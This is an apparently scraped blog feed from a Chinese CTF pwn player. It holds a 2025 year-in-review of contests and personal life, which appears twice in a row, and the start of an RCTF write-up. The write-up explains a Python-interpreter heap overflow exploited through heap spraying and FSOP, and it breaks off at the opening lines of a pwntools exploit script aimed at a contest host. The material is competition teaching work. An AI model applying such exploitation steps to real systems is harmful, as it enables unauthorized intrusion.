<p>后面发现<code>v8</code>里面<code>for (i = 0; i &lt; 0x1000; i++)</code>改成<code>while(True)</code>那题就能出</p>
<p>好崩溃，不想回忆。</p>
<p>和我一个房间的是山东大学的某位<code>pwn</code>师傅，其实当时应该要个好友吧（为什么不要）</p>
<p>（不想跟别人说话，太好了）</p>
<p>神秘社交绝缘体。</p>
<h1 id="八月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E5%85%AB%E6%9C%88" class="headerlink" title="八月"></a>八月</h1><p>被父母拉出去<del>军训</del>旅游，好绝望。</p>
<p>我真的很适合呆在房间里发烂发臭，景点里人特别多，放个照片自己感受。</p>
<p><img src="https://imi-imiab.com/images/posts/bf76c8a5611ea2713d8c.png" alt="image-4" loading="lazy" decoding="async"></p>
<p>我是怎么把普通的景点拍到让人看一眼就会死的，感觉我好厉害。</p>
<p>然后旅游期间出现了<code>Project Sekai</code>和<code>Lilctf</code></p>
<p>我靠，燃命行动（不是）</p>
<p>大家好，我是<code>Super</code>栈风水（ret2all）</p>
<p>进入超级栈风水时代了啊啊啊！！！！</p>
<p>后面不管是国际赛还是qwb，还是某个队友出的神秘新生赛，都出现了神秘的栈风水。</p>
<p>总之就是调吧，感觉已经做出抗性了，现在随便什么栈风水对我都不是难题了。</p>
<p><code>lilctf</code>打得很开心（窝在酒店的床上写题目）</p>
<p>但是其实还是很失败，家人在外面玩，我躲在酒店里发烂发臭，运用了对比的手法，造成了巨大的伤害。（呃…）</p>
<p>所幸最后把神秘的<code>TurboPwn</code>给<code>fuzz</code>出来了，虽然是赛后出的，但是是一血诶！！！（一血诶！！！）</p>
<p>看官方<code>wp</code>发现有更好的做法，不过后面没复现（经典懒得…）</p>
<p>然后<code>2.23</code>堆打<code>top_chunk</code>没写出来，被小花嘲笑。（好唐，唐完了。。。）</p>
<p>哦，还参与了<code>newstar</code>和<code>?ctf</code>的命题。</p>
<p>你的好友 “纯牛马” 正在阅读你的消息…</p>
<p>还有招新的事情，感觉小登都菜菜的，然后招新赛pwn栈溢出0解…</p>
<p>不过有一个小登还算凑合，至少不至于断代，感觉还挺好的。</p>
<h1 id="九月-十月上半"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E4%B9%9D%E6%9C%88-%E5%8D%81%E6%9C%88%E4%B8%8A%E5%8D%8A" class="headerlink" title="九月 &amp; 十月上半"></a>九月 &amp; 十月上半</h1><p>羊城杯，没路费，看了眼但没仔细打。</p>
<p>还有啥比赛吗？好像没了。好像这段时间一直在出题目。</p>
<p>其实感觉新生赛考点挺少的，对于会写的人是怎么考怎么会，不会写的人是怎么考怎么不会，emm…</p>
<p>然后比赛过程认识了一个非常厉害的小师傅，要是我的小登有那么强就好了…</p>
<p>（我说的就是你，你在看对吧，你今天写题了吗？题目复现了吗？我发你的题目有没看？上回月赛的题目都会了吗？我再考你你答得出来吗？）</p>
<p>好吧小登现在应该在期末考还是不要压力ta。</p>
<p>学了<code>angr</code>，但是感觉有点鸡肋，加个<code>for循环</code>就爆不出来，对大多数<code>pwn</code>题似乎都没什么用…</p>
<p>好希望写一个<code>auto pwn</code>，但是感觉没什么好的思路，不知道有没有什么好的切入点，有兴趣可以加我一起讨论.jpg（？）</p>
<p>然后就是炸鱼新生赛（不是），其实也没炸几个，就打了个<code>geekgamechallenge</code>，而且实际上新生和我们的差距几乎是一点没有，真可怕啊。</p>
<h1 id="十月下半"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E5%8D%81%E6%9C%88%E4%B8%8B%E5%8D%8A" class="headerlink" title="十月下半"></a>十月下半</h1><blockquote>
<p>你们要打<code>XCTF final</code>吗？<br>还有这种好事！<br>都有谁来打呀。<br>…<br>我去，这是什么神仙阵容<br>唏，可以和解吗 QAQ</p>
</blockquote>
<p>其实还好，虽然<code>pwn</code>爆0了</p>
<p>不是，两个零解，看笑了。</p>
<p>第二天感觉头晕晕的（埋下伏笔），然后去打<code>awd</code></p>
<p>吓晕了，这比<code>ciscn</code>线下压力还高，感觉快死了。不停地看题，写脚本，跑脚本，看排行榜，偷<code>patch</code>，看题，写脚本…</p>
<p>前半场还行，后半场被人日穿，好绝望。只能抓着偷来的<code>patch</code>说，求求你们不要我的机器啊不要啊不要啊。</p>
<p>（什么坚强的服务器君和他没用的运维）</p>
<p>而且赛场貌似出了神秘的bug，导致我们的服务本来跑的好好的，结果突然间全场宕机，丢了超级多分。</p>
<p>当天打完回去正式爆病，连烧一周40+，每天都感觉快死了。</p>
<p>然后本来还有强网，跟了校队打，拼死打还是差一题进线下，结果错过体测，就跑了个一千米。因为昨晚熬夜到四点，硬跑跑得快死了，然后下周又爆病错过，于是我的体测就爆了。</p>
<p>爆了。</p>
<p>哦，xctf结束，还想给<code>N1CTF</code>供题，想出<code>v8</code>，但是对编译器不熟悉，每天使劲熬夜看博客，最后也没搞出来。然后病得更重了（我靠，燃命行动）</p>
<p>去医院爆了快以前块，没查出各所以然，回宿舍自己又吃了一天布洛芬，自己好了。</p>
<p>自己好了。</p>
<p>我的钱。</p>
<p>求一个没有经历过2025年10月的大脑</p>
<h1 id="十一月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E5%8D%81%E4%B8%80%E6%9C%88" class="headerlink" title="十一月"></a>十一月</h1><p><code>xctf</code>结束后，正式装了双系统</p>
<p>其实去年这个时候就买了硬盘，但是因为各种<del>懒</del>原因一直没有装。</p>
<p>小花推荐我用<code>arch linux</code>，但是感觉好难，自己搞了个<code>ubuntu</code>，然后读小花博客知道有个叫<code>wine</code>的神秘软件，可以在<code>linux</code>上运行<code>windows</code>程序</p>
<p>之前<code>windows</code>上，有一个叫<code>Trinkit Supreme</code>的老游戏一直打不开，不知道什么问题，结果在<code>wine</code>下居然能运行</p>
<p>绷不住了，于是非常开心，决定直接抛弃<code>Windows</code>，那么就要装一个桌面环境提升效率</p>
<p>试图配置<code>niri</code>，最后失败了，被小花嘲笑没品位（好受伤，你们找男朋友不能找小花这种）</p>
<p>遂找了个<code>hyprland</code>一把梭（万物皆可一把梭），自己配配玩玩感觉还不错。</p>
<p>然后就开始各种学，学了<code>gdb-script</code>怎么写，自己写了一个可以<code>auto-attach-docker-process</code>的脚本。接下来出月赛，打比赛，配环境，好平静的<code>pwner</code>生活。</p>
<p>以及<code>xctf</code>结束后，总算是正式加入<code>N1</code>主队啦！</p>
<p>跟着主队打<code>RCTF</code>，尽力输出，拿了个签到一血，还不错。</p>
<p>（什么签到题收割机 Plus）</p>
<p>打古剑山，被堆题不发<code>libc</code>气笑，然后就是一大堆从来没见过的队伍疯狂上分。</p>
<p>唉，那我还说啥呢，给你就是了。</p>
<p>（小登菜菜的）</p>
<p>（虽然感觉好像去年的我这个时候更菜，栈迁移都还不太明白）</p>
<h1 id="十二月"><a href="https://imi-imiab.com/posts/cnblogs-19428486/#%E5%8D%81%E4%BA%8C%E6%9C%88" class="headerlink" title="十二月"></a>十二月</h1><p>（小登菜菜的）</p>
<p>于是，每周线下辅导，感受是</p>
<p>（小登菜菜的）</p>
<p>感觉还是出题目太难了，不应该这么难。其实信心还是很重要。</p>
<p>（而且很喜欢之前和小花聊天时的一句话，如果你每天都在做很难的堆题，那你就永远只会做堆，永远都不会做内核。）</p>
<p>（用户态看差不多就行了）</p>
<p>距离我说要学内核已经一年了，好像学的还不是很会，呃。</p>
<p>（依稀记得十月时和小花说，半期考之前我们一定得把内核学会！不然就说不过去了）</p>
<p>（好好笑）（笑自己吗，很有意思了。）</p>
<p>然后就是考试周，概率论和<code>ODE</code>，险些坠机，还好还活着。</p>
<p>直到上周<code>ciscn</code>，相比去年只写出来签到，今年写了两个<code>webpwn</code>，感觉确实与去年的我不可同日而语了。</p>
<p><del>好幸运，我去年第一次参加的时候居然有签到题，至少没爆零</del></p>
<p><del>希望不要给小登留下心理阴影，感觉让去年的我来也会很想死</del></p>
<p>到昨天，写了个小语法解析器玩，最近在读<code>zig</code>和<code>v8</code>的源码，果然自己开发过一次以后，再回来读这些源码感觉就不一样。</p>
<p>开发还是很重要的.jpg</p>
<p>明年会怎么样呢？不知道。虽然一直在努力，但是好像很少能打进线下赛，打进去了也没有钱去。不知名小透明<code>pwner</code>一枚，今年也在静待命运发配…</p>
]]></content>
</entry>
<entry>
<title type="text">2025年终总结</title>
<id>https://imi-imiab.com/posts/cnblogs-19428317/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-19428317/"/>
<author><name>imiab</name></author>
<published>2025-12-31T03:55:00.000Z</published>
<updated>2025-12-31T04:59:00.000Z</updated>
<category term="Life" scheme="https://imi-imiab.com/categories/Life/"/>
<category term="年度记录" scheme="https://imi-imiab.com/tags/%E5%B9%B4%E5%BA%A6%E8%AE%B0%E5%BD%95/"/>
<summary type="text">2025 又是一事无成的一年... 一月。。。？？？ 我全忘了，一月我做了什么。大概是在为期末周焦头烂额。 开学的时候还天天看高数想卷绩点，最后考完居然是倒数吗，哈哈...（被9.5学分英语肘飞了） 现在回想起来这个时候的我应该还只是一个小菜鸡，一直说要学house of cat、高版本堆之类的，但</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-19428317/"><![CDATA[<h1 id="2025"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#2025" class="headerlink" title="2025"></a>2025</h1><p>又是一事无成的一年…</p>
<h1 id="一月。。。？？？"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E4%B8%80%E6%9C%88%E3%80%82%E3%80%82%E3%80%82%EF%BC%9F%EF%BC%9F%EF%BC%9F" class="headerlink" title="一月。。。？？？"></a>一月。。。？？？</h1><p>我全忘了，一月我做了什么。大概是在为期末周焦头烂额。</p>
<p>开学的时候还天天看高数想卷绩点，最后考完居然是倒数吗，哈哈…（被<code>9.5</code>学分英语肘飞了）</p>
<p>现在回想起来这个时候的我应该还只是一个小菜鸡，一直说要学<code>house of cat</code>、高版本堆之类的，但是始终看不懂。一些堆虽然会打，源码看不明白，也是写个云里雾里。</p>
<p>似乎没有发生什么事情，也没什么比赛。有一个<code>ichunqiu2025</code>，但是那会儿我在坐火车，好像还跟哪个比赛撞了，总之就是没有写。</p>
<h1 id="二月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E4%BA%8C%E6%9C%88" class="headerlink" title="二月"></a>二月</h1><p>终于回到家…</p>
<p>打了<code>VNCTF</code>和<code>N1Junoior</code>，成绩还算不错 <em><strong>ZvZ</strong></em></p>
<p>这个时候我居然还不会写<code>markdown</code>…</p>
<p><img src="https://imi-imiab.com/images/posts/880b9d05c1d9e9788e4d.png" alt="image" loading="lazy" decoding="async"></p>
<p>（好可怕，怎么我还不会写<code>markdown</code>）</p>
<p><code>VNCTF</code>最后是写出来四题，然后<code>N1Junior</code>写出来三题</p>
<p>题目质量都很高，印象深刻.jpg</p>
<p>当时<code>VNCTF</code>考了一个小众架构pwn<code>hexagon</code>，逼得我降了<code>ida</code>版本后硬怼汇编，还好里面只是一个简单的栈迁移，所以调好环境很快就做出来了</p>
<p>当时第一天好像还上了一个<code>kernel</code>文件竞争，还有一个神秘的<code>CPP vm</code>，<del>当时还以为自己要爆零了</del>，还好后面的题目难度不高，把我捞上来了。</p>
<p><code>Late-binding</code>本来考的是<code>house of muney</code>，结果好像被我非了（<code>edit</code>的<code>index</code>是<code>int</code>，离<code>pie</code>比较近，能直接编辑到<code>heaplist</code>，然后就任意读写了.jpg）</p>
<p><del>后面说要复现但是到现在都还没复现，在今年12月的<code>seccon</code>上也考了一遍，嗯…</del></p>
<p><code>N1j</code>则考了一个单次非栈上短<code>fmt</code>？还考了一个<code>setcontext</code>加<code>magic gadget</code>，总之是顺利拿下了。</p>
<p>还有一个<code>Old wine</code>，<code>2.23</code>彩蛋堆，用<code>environ</code>泄漏栈地址，然后打到堆上，利用输入的残留<code>index</code>转栈溢出</p>
<p><del>我靠，原来那时候的我这么强吗？好可怕…</del></p>
<p>后面顺利加入了<code>N1J</code>，算是进入了一个全新的阶段吧。</p>
<p>接下来跟着联队打了第一场比赛，被<code>ret2vdso</code>肘飞，不过被队里的大手子秒了。</p>
<p>有一个<code>TRX BANK</code>考了个非常隐晦的地址泄漏，虽然当时我好不容易看出来，但是不会打<code>io</code>，最后遗憾离场。</p>
<p>（唉，所以其实还是挺菜的，一直想训练自己的源码阅读能力来着，校内的另一个队友赛后很快就找到了思路，但是我还在和源码缠斗…当然，现在对我来说已经是小case了 <strong>z3z</strong>）</p>
<p>冷冷清清的二月很快就过去了，接下来是三月…</p>
<h1 id="三月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E4%B8%89%E6%9C%88" class="headerlink" title="三月"></a>三月</h1><p>马上赶到战场的是，有史以来最难的新生赛<code>GHCTF</code></p>
<p>（我这个时候开始用<code>ChatGPT</code>了吗？不知道，我记得我非常晚才搞到了梯子，之前一直用文心一言，让我对人工智能产生了极大的阴影…）</p>
<p>欢迎来到<code>llvm-pwn</code>、<code>v8pwn</code>和<code>webpwn</code>（这个本来不应该和前面两个摆在一起的，只是我太唐了怎么这个都没做出来…）</p>
<p>（<code>webpwn</code>其实漏洞在后面的<code>httpd</code>里面，而且出得很简单，我却一直在研究前端的水果忍者，呃…）</p>
<p>然后<code>llvm</code>根本看不懂呀，<code>v8</code>也看不懂，最后写出来5题遗憾离场了…</p>
<p><code>TPCTF</code>…跳过吧，爆0了</p>
<p>不对，赛后好像挖出了一个<code>webpwn</code>的洞，一个很简单的栈溢出（经典赛后随便乱杀）</p>
<p>总的来说，三月好像学了很多，但其实感觉什么也没学，然后就这样过去了…</p>
<p>跟着联队打也是签到题收割机（不是），一般来说只有大比赛的时候大手子才会下场，其实现在看一队新生能打出那样的成绩其实还挺不错的（呃，不错吗，不错在哪）</p>
<p>认识了<code>scu</code>的<code>littflower</code>，当时感觉他话好少，看起来好厉害（好厉害）</p>
<p>（然后视奸博客，发现居然还会开发，又自卑了…）</p>
<p>哦，原来<code>ciscn</code>是三月的，这么早，我还以为四五月</p>
<p><code>web</code>和渗透太难了，队友们也不是很擅长渗透，而且我的<code>pwn</code>打得也很烂，最后没打进去，有点遗憾…</p>
<p>线下见到了联队大手子<code>tplus</code>，我是修2做0,他是做2修0（好神奇）</p>
<p>请教堆题怎么打，他说可以覆盖<code>stdout</code>低位打爆破，当时没听懂（呃，那会儿打<code>IO</code>我还知会套板子，好惭愧）</p>
<h1 id="四月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E5%9B%9B%E6%9C%88" class="headerlink" title="四月"></a>四月</h1><p>打了神秘的<code>XYCTF</code>和阴间CTF</p>
<p>（因为打<code>XYCTF</code>导致我阴间CTF痛失一血，然后我的<code>R.E.P.O.</code>就这样没了）</p>
<p>（后面<code>XY</code>好像打得也不是很好，双输。）</p>
<p>偷偷打了<code>NPCfinal</code>，最后被<code>rust pwn</code>肘飞。怎么往<code>pwn</code>里出<code>rust</code>…</p>
<p>然后打了商丘，轻松<del>AK</del>了（有一个<code>pwn</code>附件密码要用<code>misc</code>的<code>flag</code>解锁，然后那题没看）</p>
<p>打<code>tgctf</code>，第一次和<code>littflower</code>一起看题，发现<code>littflower</code>其实是笨蛋（？）两个小唐人看半天没想起来<code>magic gadget</code>（学长也没想起来，气笑了）</p>
<p>最后自己写了个爆破<code>1/16</code>的解法，远程还有<code>ld</code>不同导致的偏移不同，直接写了4份爆破脚本发给每一个人，最后比赛快结束的时候出了…</p>
<p>（唐完了，没绷住）</p>
<p>认识了非常厉害的<code>柯.</code>师傅，他也没看出<code>magic gadget</code>，绷不住了。</p>
<p>（后面是一个<code>zig heap</code>，混用了两种堆管理器导致出了问题，但是没逆出来）</p>
<p>（最后还是被别的师傅给解出来了，还是不够强啊…<code>T,T</code>）</p>
<p>然后打了<code>ACTF</code>，四道题非了三道，绷不住了。</p>
<p><img src="https://imi-imiab.com/images/posts/bc4d3b873bed12ddd760.png" alt="image-1" loading="lazy" decoding="async"></p>
<p>初见端倪栈风水，感觉三月和四月就是在<code>only read</code>和<code>only read</code>中度过</p>
<p>（<del>为后面的SUPER栈风水埋下伏笔</del>）</p>
<h1 id="五月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E4%BA%94%E6%9C%88" class="headerlink" title="五月"></a>五月</h1><p>打了<code>iscc</code>，第一次在比赛过程中写出了内核题，虽然也很简单吧…</p>
<p>后面还有<code>mini-L</code>，但是打得也不是很愉快，哎</p>
<p>后面就是跟着联队打比赛，打京麒，学长把线下的机会让给小登了（学长真好）</p>
<p>然后在轩辕ctf打出了第一场<code>AAK</code>，拿下了四快1T硬盘，算是这个月比较开心的时候吧。</p>
<h1 id="六月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E5%85%AD%E6%9C%88" class="headerlink" title="六月"></a>六月</h1><p>跟着联队打比赛…没做什么，期末周头疼…</p>
<p>七月十四号放寒假，<code>ctfer</code>至暗时刻</p>
<h1 id="七月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E4%B8%83%E6%9C%88" class="headerlink" title="七月"></a>七月</h1><p>去京麒打了线下，见到了好多师傅（好多吗，并非）</p>
<p>神秘社交绝缘体。</p>
<p>只写出来一个非预期<code>v8</code>菜哭了，一个要在<code>docker</code>里面调的程序，现在没搞清楚</p>
<p>然后就一直问<code>AI</code>，好崩溃，不想回忆那段经历。</p>
<p>后面发现<code>v8</code>里面<code>for (i = 0; i &lt; 0x1000; i++)</code>改成<code>while(True)</code>那题就能出</p>
<p>好崩溃，不想回忆。</p>
<p>和我一个房间的是山东大学的某位<code>pwn</code>师傅，其实当时应该要个好友吧（为什么不要）</p>
<p>（不想跟别人说话，太好了）</p>
<p>神秘社交绝缘体。</p>
<h1 id="八月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E5%85%AB%E6%9C%88" class="headerlink" title="八月"></a>八月</h1><p>被父母拉出去<del>军训</del>旅游，好绝望。</p>
<p>我真的很适合呆在房间里发烂发臭，景点里人特别多，放个照片自己感受。</p>
<p><img src="https://imi-imiab.com/images/posts/bf76c8a5611ea2713d8c.png" alt="image-4" loading="lazy" decoding="async"></p>
<p>我是怎么把普通的景点拍到让人看一眼就会死的，感觉我好厉害。</p>
<p>然后旅游期间出现了<code>Project Sekai</code>和<code>Lilctf</code></p>
<p>我靠，燃命行动（不是）</p>
<p>大家好，我是<code>Super</code>栈风水（ret2all）</p>
<p>进入超级栈风水时代了啊啊啊！！！！</p>
<p>后面不管是国际赛还是qwb，还是某个队友出的神秘新生赛，都出现了神秘的栈风水。</p>
<p>总之就是调吧，感觉已经做出抗性了，现在随便什么栈风水对我都不是难题了。</p>
<p><code>lilctf</code>打得很开心（窝在酒店的床上写题目）</p>
<p>但是其实还是很失败，家人在外面玩，我躲在酒店里发烂发臭，运用了对比的手法，造成了巨大的伤害。（呃…）</p>
<p>所幸最后把神秘的<code>TurboPwn</code>给<code>fuzz</code>出来了，虽然是赛后出的，但是是一血诶！！！（一血诶！！！）</p>
<p>看官方<code>wp</code>发现有更好的做法，不过后面没复现（经典懒得…）</p>
<p>然后<code>2.23</code>堆打<code>top_chunk</code>没写出来，被小花嘲笑。（好唐，唐完了。。。）</p>
<p>哦，还参与了<code>newstar</code>和<code>?ctf</code>的命题。</p>
<p>你的好友 “纯牛马” 正在阅读你的消息…</p>
<p>还有招新的事情，感觉小登都菜菜的，然后招新赛pwn栈溢出0解…</p>
<p>不过有一个小登还算凑合，至少不至于断代，感觉还挺好的。</p>
<h1 id="九月-十月上半"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E4%B9%9D%E6%9C%88-%E5%8D%81%E6%9C%88%E4%B8%8A%E5%8D%8A" class="headerlink" title="九月 &amp; 十月上半"></a>九月 &amp; 十月上半</h1><p>羊城杯，没路费，看了眼但没仔细打。</p>
<p>还有啥比赛吗？好像没了。好像这段时间一直在出题目。</p>
<p>其实感觉新生赛考点挺少的，对于会写的人是怎么考怎么会，不会写的人是怎么考怎么不会，emm…</p>
<p>然后比赛过程认识了一个非常厉害的小师傅，要是我的小登有那么强就好了…</p>
<p>（我说的就是你，你在看对吧，你今天写题了吗？题目复现了吗？我发你的题目有没看？上回月赛的题目都会了吗？我再考你你答得出来吗？）</p>
<p>好吧小登现在应该在期末考还是不要压力ta。</p>
<p>学了<code>angr</code>，但是感觉有点鸡肋，加个<code>for循环</code>就爆不出来，对大多数<code>pwn</code>题似乎都没什么用…</p>
<p>好希望写一个<code>auto pwn</code>，但是感觉没什么好的思路，不知道有没有什么好的切入点，有兴趣可以加我一起讨论.jpg（？）</p>
<p>然后就是炸鱼新生赛（不是），其实也没炸几个，就打了个<code>geekgamechallenge</code>，而且实际上新生和我们的差距几乎是一点没有，真可怕啊。</p>
<h1 id="十月下半"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E5%8D%81%E6%9C%88%E4%B8%8B%E5%8D%8A" class="headerlink" title="十月下半"></a>十月下半</h1><blockquote>
<p>你们要打<code>XCTF final</code>吗？<br>还有这种好事！<br>都有谁来打呀。<br>…<br>我去，这是什么神仙阵容<br>唏，可以和解吗 QAQ</p>
</blockquote>
<p>其实还好，虽然<code>pwn</code>爆0了</p>
<p>不是，两个零解，看笑了。</p>
<p>第二天感觉头晕晕的（埋下伏笔），然后去打<code>awd</code></p>
<p>吓晕了，这比<code>ciscn</code>线下压力还高，感觉快死了。不停地看题，写脚本，跑脚本，看排行榜，偷<code>patch</code>，看题，写脚本…</p>
<p>前半场还行，后半场被人日穿，好绝望。只能抓着偷来的<code>patch</code>说，求求你们不要我的机器啊不要啊不要啊。</p>
<p>（什么坚强的服务器君和他没用的运维）</p>
<p>而且赛场貌似出了神秘的bug，导致我们的服务本来跑的好好的，结果突然间全场宕机，丢了超级多分。</p>
<p>当天打完回去正式爆病，连烧一周40+，每天都感觉快死了。</p>
<p>然后本来还有强网，跟了校队打，拼死打还是差一题进线下，结果错过体测，就跑了个一千米。因为昨晚熬夜到四点，硬跑跑得快死了，然后下周又爆病错过，于是我的体测就爆了。</p>
<p>爆了。</p>
<p>哦，xctf结束，还想给<code>N1CTF</code>供题，想出<code>v8</code>，但是对编译器不熟悉，每天使劲熬夜看博客，最后也没搞出来。然后病得更重了（我靠，燃命行动）</p>
<p>去医院爆了快以前块，没查出各所以然，回宿舍自己又吃了一天布洛芬，自己好了。</p>
<p>自己好了。</p>
<p>我的钱。</p>
<p>求一个没有经历过2025年10月的大脑</p>
<h1 id="十一月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E5%8D%81%E4%B8%80%E6%9C%88" class="headerlink" title="十一月"></a>十一月</h1><p><code>xctf</code>结束后，正式装了双系统</p>
<p>其实去年这个时候就买了硬盘，但是因为各种<del>懒</del>原因一直没有装。</p>
<p>小花推荐我用<code>arch linux</code>，但是感觉好难，自己搞了个<code>ubuntu</code>，然后读小花博客知道有个叫<code>wine</code>的神秘软件，可以在<code>linux</code>上运行<code>windows</code>程序</p>
<p>之前<code>windows</code>上，有一个叫<code>Trinkit Supreme</code>的老游戏一直打不开，不知道什么问题，结果在<code>wine</code>下居然能运行</p>
<p>绷不住了，于是非常开心，决定直接抛弃<code>Windows</code>，那么就要装一个桌面环境提升效率</p>
<p>试图配置<code>niri</code>，最后失败了，被小花嘲笑没品位（好受伤，你们找男朋友不能找小花这种）</p>
<p>遂找了个<code>hyprland</code>一把梭（万物皆可一把梭），自己配配玩玩感觉还不错。</p>
<p>然后就开始各种学，学了<code>gdb-script</code>怎么写，自己写了一个可以<code>auto-attach-docker-process</code>的脚本。接下来出月赛，打比赛，配环境，好平静的<code>pwner</code>生活。</p>
<p>以及<code>xctf</code>结束后，总算是正式加入<code>N1</code>主队啦！</p>
<p>跟着主队打<code>RCTF</code>，尽力输出，拿了个签到一血，还不错。</p>
<p>（什么签到题收割机 Plus）</p>
<p>打古剑山，被堆题不发<code>libc</code>气笑，然后就是一大堆从来没见过的队伍疯狂上分。</p>
<p>唉，那我还说啥呢，给你就是了。</p>
<p>（小登菜菜的）</p>
<p>（虽然感觉好像去年的我这个时候更菜，栈迁移都还不太明白）</p>
<h1 id="十二月"><a href="https://imi-imiab.com/posts/cnblogs-19428317/#%E5%8D%81%E4%BA%8C%E6%9C%88" class="headerlink" title="十二月"></a>十二月</h1><p>（小登菜菜的）</p>
<p>于是，每周线下辅导，感受是</p>
<p>（小登菜菜的）</p>
<p>感觉还是出题目太难了，不应该这么难。其实信心还是很重要。</p>
<p>（而且很喜欢之前和小花聊天时的一句话，如果你每天都在做很难的堆题，那你就永远只会做堆，永远都不会做内核。）</p>
<p>（用户态看差不多就行了）</p>
<p>距离我说要学内核已经一年了，好像学的还不是很会，呃。</p>
<p>（依稀记得十月时和小花说，半期考之前我们一定得把内核学会！不然就说不过去了）</p>
<p>（好好笑）（笑自己吗，很有意思了。）</p>
<p>然后就是考试周，概率论和<code>ODE</code>，险些坠机，还好还活着。</p>
<p>直到上周<code>ciscn</code>，相比去年只写出来签到，今年写了两个<code>webpwn</code>，感觉确实与去年的我不可同日而语了。</p>
<p><del>好幸运，我去年第一次参加的时候居然有签到题，至少没爆零</del></p>
<p><del>希望不要给小登留下心理阴影，感觉让去年的我来也会很想死</del></p>
<p>到昨天，写了个小语法解析器玩，最近在读<code>zig</code>和<code>v8</code>的源码，果然自己开发过一次以后，再回来读这些源码感觉就不一样。</p>
<p>开发还是很重要的.jpg</p>
<p>明年会怎么样呢？不知道。虽然一直在努力，但是好像很少能打进线下赛，打进去了也没有钱去。不知名小透明<code>pwner</code>一枚，今年也在静待命运发配…</p>
]]></content>
</entry>
<entry>
<title type="text">RCTF pwn方向题解（缺bbox）</title>
<id>https://imi-imiab.com/posts/cnblogs-19254887/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-19254887/"/>
<author><name>imiab</name></author>
<published>2025-11-21T08:21:00.000Z</published>
<updated>2025-11-21T08:22:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">mstr python pwn 漏洞和python内部的机制有关系，python对象并不直接存储对象，而是存储对象的引用。而mutableString类的data是string，max_size_str也是string。这就会导致data和max_size_str指向同一个字符对象。 至此还不会产生</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-19254887/"><![CDATA[<h1 id="mstr"><a href="https://imi-imiab.com/posts/cnblogs-19254887/#mstr" class="headerlink" title="mstr"></a>mstr</h1><p>python pwn</p>
<p>漏洞和<code>python</code>内部的机制有关系，<code>python</code>对象并不直接存储对象，而是存储对象的引用。而<code>mutableString</code>类的<code>data</code>是<code>string</code>，<code>max_size_str</code>也是<code>string</code>。这就会导致<code>data</code>和<code>max_size_str</code>指向同一个字符对象。</p>
<p>至此还不会产生漏洞，因为如果对<code>data</code>进行修改，<code>python</code>会创建新的对象并修改引用指针。但是此时类里面提供了一个方法可以直接修改字符数组<code>+=</code>。如果我们对一个<code>size</code>进行<code>+=</code>就会导致<code>max_size</code>超级大，从而产生一个堆溢出。</p>
<p>然后观察堆上的情况，会发现对正常的对象进行溢出会破坏结构指针导致crush。而<code>python</code>堆结尾的内容则为全空，覆盖也不会产生影响。因此可以考虑堆喷将对象喷到堆末尾，然后再申请新的对象，从而构造出堆重叠。（<code>+=</code>方法会修改<code>string</code>对象的长度）</p>
<p>接着通过<code>modify</code>就可以修改下一个字符对象的长度，再从堆上泄漏出<code>libcbase</code>和<code>heapbase</code>，接下来用任意写打<code>FSOP</code>即可</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./python&#x27;</span></span>
<span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>)</span>
<span class="line">host= <span class="string">&#x27;1.95.190.154&#x27;</span></span>
<span class="line">port= <span class="number">26000</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># host = &#x27;127.0.0.1&#x27;</span></span>
<span class="line"><span class="comment"># port = 9999</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process([filename, <span class="string">&#x27;./mstr.py&#x27;</span>])</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process([filename, <span class="string">&#x27;./mstr.py&#x27;</span>])</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
